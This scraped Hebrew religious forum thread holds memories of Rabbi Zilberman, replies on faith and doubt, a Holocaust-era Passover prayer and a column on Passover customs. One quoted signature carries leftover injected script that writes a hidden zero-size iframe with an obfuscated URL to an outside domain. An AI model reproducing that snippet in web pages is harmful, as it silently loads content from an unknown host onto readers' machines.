|
|
| נשלח ב-28/3/2016 10:27 |
 |
| |
יעקב גולדשטיין, פ"ב
זה היה בערך כסלו-טבת תש"ס. אני הייתי ילד בן 16 בשיעור א'. הוא היה הרב-יצחק-שליימה, איש זקן ונערץ, אף פעם לא העזתי לדבר איתו. הוא היה מוסר שיחות בישיבה מדי פעם, תמיד היו כמה אנשים מתגודדים מסביבו לשמוע מה הוא אומר. בישיבה למדו אז שבת, הגיעו לסוגיית כל האומר ראובן-דוד-שלמה-בני עלי חטאו אינו אלא טועה. אני התקוממתי, לא רציתי לקבל שום הסברים. ניהלתי ויכוחים עם כל מי שזז בסביבה, מה המסר שהגמרא מבקשת להעביר. באיזשהו שלב, אחד האברכים אמר לי: לך תדבר עם רב-יצחק-שליימה, הוא כבר יסביר לך... ניגשתי אליו אחרי תפילת שחרית, התחלתי להציג את הענין והוא אמר: לא על רגל אחת, בוא אלי הביתה. זו היתה הפעם הראשונה שעליתי איתו במדרגות הצרות האלו ברחוב ברקאי, שכל פעם פחדתי להתגלגל בהן (מה שקרה לא פעם בפורים סמל ההבעה smile ). נכנסנו לחדר שעד היום אני יכול לדמיין את הריח שלו, הוא פתח את הגמרא ובמבם לעצמו את כל הסוגיה מההתחלה עד הסוף, כאילו לא ראה ולא הכיר ולא ראה אותה מעולם. זה היה חלק מהקסם של האיש הזה, שתמיד היה לו את כל הזמן שבעולם בשבילך, כאילו רק הוא ואתה כאן, ואין לו עוד אלף ואחד עיסוקים ושיעורים להיום.... אחרי כמה דקות של שתיקה, הוא המהם לעצמו: לא מובן.... בוא נפתח מהר"ל, חידושי אגדות. ישב והקריא את כל המהר"ל, מעביר על השורות את עפרון העץ הענק. סגר את הספר ושוב שתיקה קצת מביכה ומהמהמת. בסוף הוא אמר: אתה צודק, באמת לא מובן מה הגמרא רוצה. (ליום הזכרון י"ח אדר). * rel="async" method="post" data-ft="{"tn":"]"}" action="https://www.facebook.com/ajax/ufi/modify.php" id="u_ps_0_0_6" style="margin: 0px; padding: 0px;">
תוקן על ידי ספרן ב- 28/03/2016 10:29:49
תוקן על ידי ספרן ב- 28/03/2016 10:32:28
 |
|
|
|
|
| נשלח ב-28/3/2016 10:35 |
|
| |
[ האתר לא מאפשר להוסיף את הנ"ל לאשכול 'חומר על הרב זילברמן זצ"ל' ]
|
|
|
|
| נשלח ב-28/3/2016 14:16 |
|
| |
ספרן
זה סיפור נפלא!
ויש לשים לב: האמת של ההודאה הפשוטה: לימוד הזכות הבלתי אפשרי לא ניתן להבנה במובן הרגיל של המילה - ההודאה הזו יפה יותר מאשר הנסיון המופרז ללמד זכות!
להודות שאבות האומה נכשלו - אינו מרחיק מתקרבים. או אלו שכבר "בפנים". אדרבה, זה שהתורה מעדיפה את האמת זה לזכותנו.
ולהודות שאין עלינו חובה להאמין במה שהוא לא נכון או בלתי אפשרי - והנכונות של רב גדול לומר זאת לצעיר נבוך - זה בדיוק מה שישאיר אותו "בפנים".
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-29/3/2016 10:03 |
|
| |
[ המשך להנ"ל ]
יעקב גולדשטיין, פ"ב
בעקבות התגובות והענין שעורר הפוסט הקודם, אספר גם על השיחה האחרונה שהיתה לי עם רב-יצחק-שליימה, שנתיים ומשהו אחרי הראשונה, ובאופן לא מפתיע היתה כמעט פראפרזה לשיחה הראשונה... זה היה שבועיים לפני הסוף. יום שלישי או רביעי שלפני שבת זכור. אני כבר קצת פחות ילד והרבה יותר מבוהל למראה האיש הצמוק החיוור והחלש שבמיטת בית החולים, שכבר היה ברור לו שזה הסוף שלו, אבל היה שלו ורגוע ומחויך, עסקים כרגיל. בסך הכל, מה לו הכא ומה לו התם. לשוני דבקה לחיכי, הייתי לבדי ולא ידעתי מה לומר. הוא מלמל בקושי קצת, מה שלומך, מה אתם מדברים בישיבה על שבת זכור. ואני שאלתי את השאלה הכי מטומטמת ונודניקית שיכולתי לפלוט בכזה מעמד: אז מה הרב אומר על שבת זכור ומחיית עמלק... הוא שקע לרגע במחשבה מחויכת, ואז אמר קצת כממתיק סוד: כל החיים חשבתי על השאלה הזאת. לא נראה לי שהגעתי למסקנה ברורה... אחרי רגע הוא מלמל קצת בקושי שוב, בסגנון הדיאלוגים הקבועים: אולי אפשר לחשוב לומר... לא היה לו כוח להמשיך. אחד הבנים נכנס וסימן לי שהוא מותש. לא העזתי לחזור שוב לשם. ********* אנסה לומר כמה מילים על האיש הזה שהכרתי בסך הכל שנתיים ומשהו: 1. הוא היה תמיד משוחח. כל רבבות שעות השיחות והשיעורים שלו היו בעצם דיאלוג בלתי פוסק עם עצמו ועם כל הסובב אותו. לא הכרתי אצלו מושג שמישהו שואל שאלה והוא משיב, הכל התנהל בצורה של שיחה ארוכה המובילה אל מסקנה משותפת. כל זה היה בצורה מאד מאד דידקטית, ותמיד השיחה התנהלה ברמה של בן השיח ובקצב שלו. 2. היה לו את כל הזמן שבעולם, בשביל כל אחד, ברמה של נס גלוי כמעט. הוא היה איש מאד מאד עסוק, שעבד בפרך למחייתו, מסר שיעורים ושיחות בלי סוף בכל נושא שהתבקש, והיה לו זמן לדון בשיא הנחת בפעם האלף עם ילד נודניק בישיבה קטנה שאלה ביזארית שכבר עסק בה בלי סוף פעמים בחמישים השנים האחרונות, ולהיות מרוכז רק בבן השיחה שלו. אילו ינסו לסכם את כל השיחות שהוא ניהל עם אנשים, מן הסתם יגיעו למסקנה שהוא חי אלף שנים פעמיים. 3. כל זה הונע מתוך בערה פנימית של חוסר מנוחה ובקשת אמת. הוא היה מאד מאד כן וחף ממניפולציות (שמישהו רמז עליהן בצורה לא הוגנת בתגובות לפוסט הקודם), לא היתה לו שום בעיה לעשות באמצע שיחה סיבוב של 180 מעלות כמה פעמים, ולסכם אותה בהצעה של נער צעיר המנוגדת לכל המהלך שהוא הוביל אליו, עם קרדיוט מלא. הכנות שלו גם לא איפשרה לו לשבת בגיל שבעים בשקט ובנחת, להביט במפעלי חייו ולומר עשיתי את המוטל עלי, אלא הציקה לו כל הזמן בשאלה האם עשיתי נכון, האם חשבתי על כל צדדי הענין. 4. הכנות שלו גם איפשרה לו לחיות עם שאלות לא פתורות. כולנו הכרנו היטב את "המגרה של הקושיות" שאם פעם יהיה זמן נגיע אליהן... הוא היה יכול לומר בסוף השיחה בשיא הכנות שהענין לא נסגר ולא ברור, למרות שהיו משתתפים שלא הבינו מה כבר יכול להיות לא ברור אחרי כזו שיחה ארוכה...
|
|
|
|
|
| נשלח ב-29/3/2016 14:17 |
|
| |
מדהים.
לא קל לעשות את זה כשמדובר על איך לומדים את התורה.
קשה שבעתיים לעשות את זה אם הנושא שלך הוא התורה עצמה...
|
|
|
|
| נשלח ב-29/3/2016 18:56 |
|
| |
| מיימוני כתב: |  | ספרן
זה סיפור נפלא!
ויש לשים לב: האמת של ההודאה הפשוטה: לימוד הזכות הבלתי אפשרי לא ניתן להבנה במובן הרגיל של המילה - ההודאה הזו יפה יותר מאשר הנסיון המופרז ללמד זכות!
להודות שאבות האומה נכשלו - אינו מרחיק מתקרבים. או אלו שכבר "בפנים". אדרבה, זה שהתורה מעדיפה את האמת זה לזכותנו.
ולהודות שאין עלינו חובה להאמין במה שהוא לא נכון או בלתי אפשרי - והנכונות של רב גדול לומר זאת לצעיר נבוך - זה בדיוק מה שישאיר אותו "בפנים".
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
סיפור נפלא?.
למה חוסר התשובה של הרב הנערץ אמור להשאיר אותו בפנים?
אם אין לרב תשובה לשאלות קריטיות שקשורות במסורת העוברת מדור לדור אז אצל התלמיד משהו חייב להישבר..אם לא עכשיו אז במשך הזמן.
ואם זה לא יקרה אצלו בפועל (כי הסוציולוגיה עובדת יותר מהאמונה) הסדק כבר קיים.
|
|
|
|
| נשלח ב-29/3/2016 21:19 |
|
| |
אפרים
יש לך חבילת שטרות כסף עם כמה שטרות שיש לך ספק אם אינם מזויפים.
אתה זורק את כל החבילה?
|
|
|
|
| נשלח ב-29/3/2016 22:30 |
|
| |
שלישי
זה מתחלק לשני סוגי אנשים, אלה שכמה שטרות מזוייפים בחבילה יגרמו להם ללכת לבדוק אם שאר השטרות הן כן אמיתיים, ואלה שיעלימו עין ויעבירו הלאה גם את השטרות המזוייפים בלי לספר לאף אחד..
|
|
|
|
|
| נשלח ב-29/3/2016 23:45 |
|
| |
בשלב זה כבר צריך לפתוח אשכול...
|
|
|
|
| נשלח ב-30/3/2016 00:03 |
|
| |
והנה
חומר חדש על הרב זילברמן
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-8/4/2016 05:08 |
|
| |
|
|
|
|
| נשלח ב-15/4/2016 17:17 |
|
| |
תמונה שתפסה אותי פה היום. ליל הסדר פסח 1944. מחנה ברגזן-בלזן, ביתן מספר 18. הרב אהרון יששכר דוידס (רב קהילה בהולנד וממנהיגי תנועת מזרחי) מסביר ליהודים המתכנסים עמו שחובתם לעשות מה שאפשר בכדי לחיות. הוא מברך ברכת המוציא ואוכל חתיכת לחם. אך לפני שעושה זאת, הוא נושא את התפילה הזו לקב"ה (תפילה שחיבר עם רבנים נוספים מהולנד)- תפילה מרגשת עד דמעות בשקפה את רוח תקופת השואה. התפילה הזו של פסח 1944 מכניסה את המושג "חירות" לפרספקטיבה אחרת. אשרינו שזכינו להיות בדור של חירות הגוף והנפש. שבו אנו יכולים לברך את ברכת "שהחיינו, וקיימנו והגיענו לזמן הזה" ולומר בה כל מילה בכוונה שלמה. "שבת הגדול" שמח, עם ישראל. * rel="async" method="post" data-testid="feedback_form" data-ft="{"tn":"]"}" action="https://www.facebook.com/ajax/ufi/modify.php" id="u_jsonp_5_l" style="margin: 0px; padding: 0px;">
|
|
|
|
| נשלח ב-17/4/2016 08:11 |
|
| |
הרב חיים נבון:
ז'אנר תורני חדש בא לעולם: לגלוג על ההגזמה בניקיונות לפסח. "לפי ההלכה, בשלוש שעות אפשר להכשיר את הבית", קוראים אנשים בעלוני השבת, ומיד אצים לזלזל במנקים ובמנקות. אשתי מאוד לא אוהבת את האמירות הללו. אולי לפי ההלכה אפשר להסתפק בשלוש שעות, היא אומרת (ואני אומר: מסופקני), אבל כך אמא שלי מנקה, וכך גם אנחנו ננקה. והיא צודקת. כי הפסח שלנו לא נקבע רק לפי ספרי ההלכה. אני מאמין בכל לבי בחיוניות של ההלכה לחיינו הרוחניים. בעולם שבו כל הנאמנויות מתנוונות וכל המחויבויות מתמוססות, בעולם שבו אנשים מתגאים שהשתחררו מכבלי הדת ובו בזמן סוגדים לעצמם כאל אליל אנוכי ומוטרף, בעולם כזה הנאמנות שלנו להלכה היא פלא חיוני ומרנין לב. ההלכה היא השלד של עולמנו הרוחני. אבל על השלד הזה חייבים לקרום עור וגידים ובשר. אסור לוותר על ההלכה, אבל אפשר וצריך להוסיף עליה. המנהגים והמסורות שלנו הם המעניקים נפח ועוצמה לחיינו הדתיים. איך היה נראה פסח שלנו לוּ הייתה בו רק הלכה? מבחינת המתמטיקה של ההלכה די לאדם לומר חלקים קצרים וקטועים מן ההגדה. מבחינת ההלכה הפורמלית, אם את הניקיון לפסח אפשר לסיים בשלוש שעות, אז את ליל הסדר אפשר לסיים בשעה וחצי, כולל הסעודה. אין מדובר רק בפסח. לו היינו מצטמצמים להלכה הפורמלית, הרבה מהטעם ומהריח של חיינו הדתיים היה נעשק מאתנו. לפי ספרי ההלכה, לא צריך להתפלל קבלת שבת. אינני בא לומר שלא צריך להתפלל אותה בנוסח קרליבך - זה ודאי נכון, ואפילו מומלץ, בלי קשר להלכה - אלא שלא צריך להתפלל קבלת שבת בכלל. גם שירי שבת לא מופיעים בשום סעיף בשולחן ערוך. אף על "כל נדרי" בליל יום הכיפורים אפשר לדלג. וגם לסליחות לא צריך להשכים. החיים שלנו עטופים במנהגים ובהרגלים, שבלעדיהם נהיה אבודים ודלים. אי אפשר לפנות בכל מקום לספרים כמקור סמכות בלעדי. בשום תחום בחיינו איננו נוהגים כך. אנשים מכובדים מתהדרים בלבישת עניבות. האם יש למישהו הסבר הגיוני לפריט הלבוש הזה? כשאנחנו נפגשים, אנו לוחצים ידיים. מה פשר הנוהל הזה? הוא אינו היגייני ואינו הגיוני. לא נמצא לו שום הסבר בספרים. נוכל למצוא רק תיאוריות על מקורה ההיסטורי של לחיצת היד, תיאוריות שרק מציגות אותה באור עוד יותר מגוחך. מי שיבדוק מה ההסבר הרציונלי לכל צעד ומה ההצדקה שאפשר למצוא לו בספרים, יצמצם את חייו לשורה קצרה להפליא של פעולות תכליתיות. איש מאתנו אינו נוהג כך. גם כשאנו עושים דברים שיש להם טעם מובהק, הנימוק הזה אינו המניע לפעולתנו. לפעמים אנשים מספרים לי בגאווה שהם מסבירים לילדיהם הקטנים את הנימוק לכל פעולה דתית ולכל מצווה. ואני שואל: האם אתם גם מלמדים אותם קורס מזורז בבקטריולוגיה לפני צחצוח השיניים? אנחנו עושים מה שאנחנו עושים, כי כאלו החיים בבית שלנו, וברמה היסודית די בנימוק הזה. זהו הרובד הבסיסי של זהות משפחתית וקהילתית, שכל ילד צריך לגדול עמו. ככל שילדינו גדלים, הם מבינים יותר ויותר. אבל גם אנחנו, הוריהם, לוחצים על המיקרוגל ומאמינים שהאוכל יתחמם, בלי שיש לנו מושג כלשהו איך המנגנון הפלאי הזה עובד. לו היינו מגבילים את מעשינו רק למה שאנחנו מסוגלים להסביר ולהצדיק באופן רציונלי, את האוכל היינו עדיין מחממים במדורות (בהנחה שמובנת לנו התיאוריה של בעירת האש). למנהגים שלנו יש ערך כפול. קודם כל, הם המעצבים את הפינות הכמוסות של נפשנו. כל אחד מאתנו מתגעגע לניגוני הימים הנוראים של בית הוריו. לא שהם באמת יותר יפים מהניגונים של החזן בבית הכנסת העכשווי שלנו, אבל עליהם גדלנו. מלבד זאת, למנהגים יש גם ערך נוסף: הם משמרים את חכמתם של אבותינו. תבונתם של דורות הרבה נוצקה לתוך המנהגים הללו. ואם ניסיונם המצטבר של אבותינו הביא אותם להתכנס יחדיו לתפילת קבלת שבת, אף שההלכה אינה מחייבת זאת, כנראה כך היא באמת הדרך לרומם את השבת שלנו. בגלל כל זה, אני מעריך את ההתמסרות לניקיונות הפסח. מי שזה יותר מדי בשבילו - שיצמצם. מי שמרגיש שריחות האקונומיקה הופכים אותו למפלצת טורדנית-כפייתית - שיעצור. אבל אלו שמוכנים ומוכנות להתאמץ ולנקות יותר מהנחוץ, כי כך עשו בבית הוריהם, וכך הם רוצים את הפסח שלהם - ראויים להערכה ולא לזלזול. יש לי עוד הרבה מה לומר בנושא הזה, אבל הפאנלים מחכים לי. (הטור השבועי במגזין מוצש - השבוע החדש שלך).
|
|
|
|
|
|
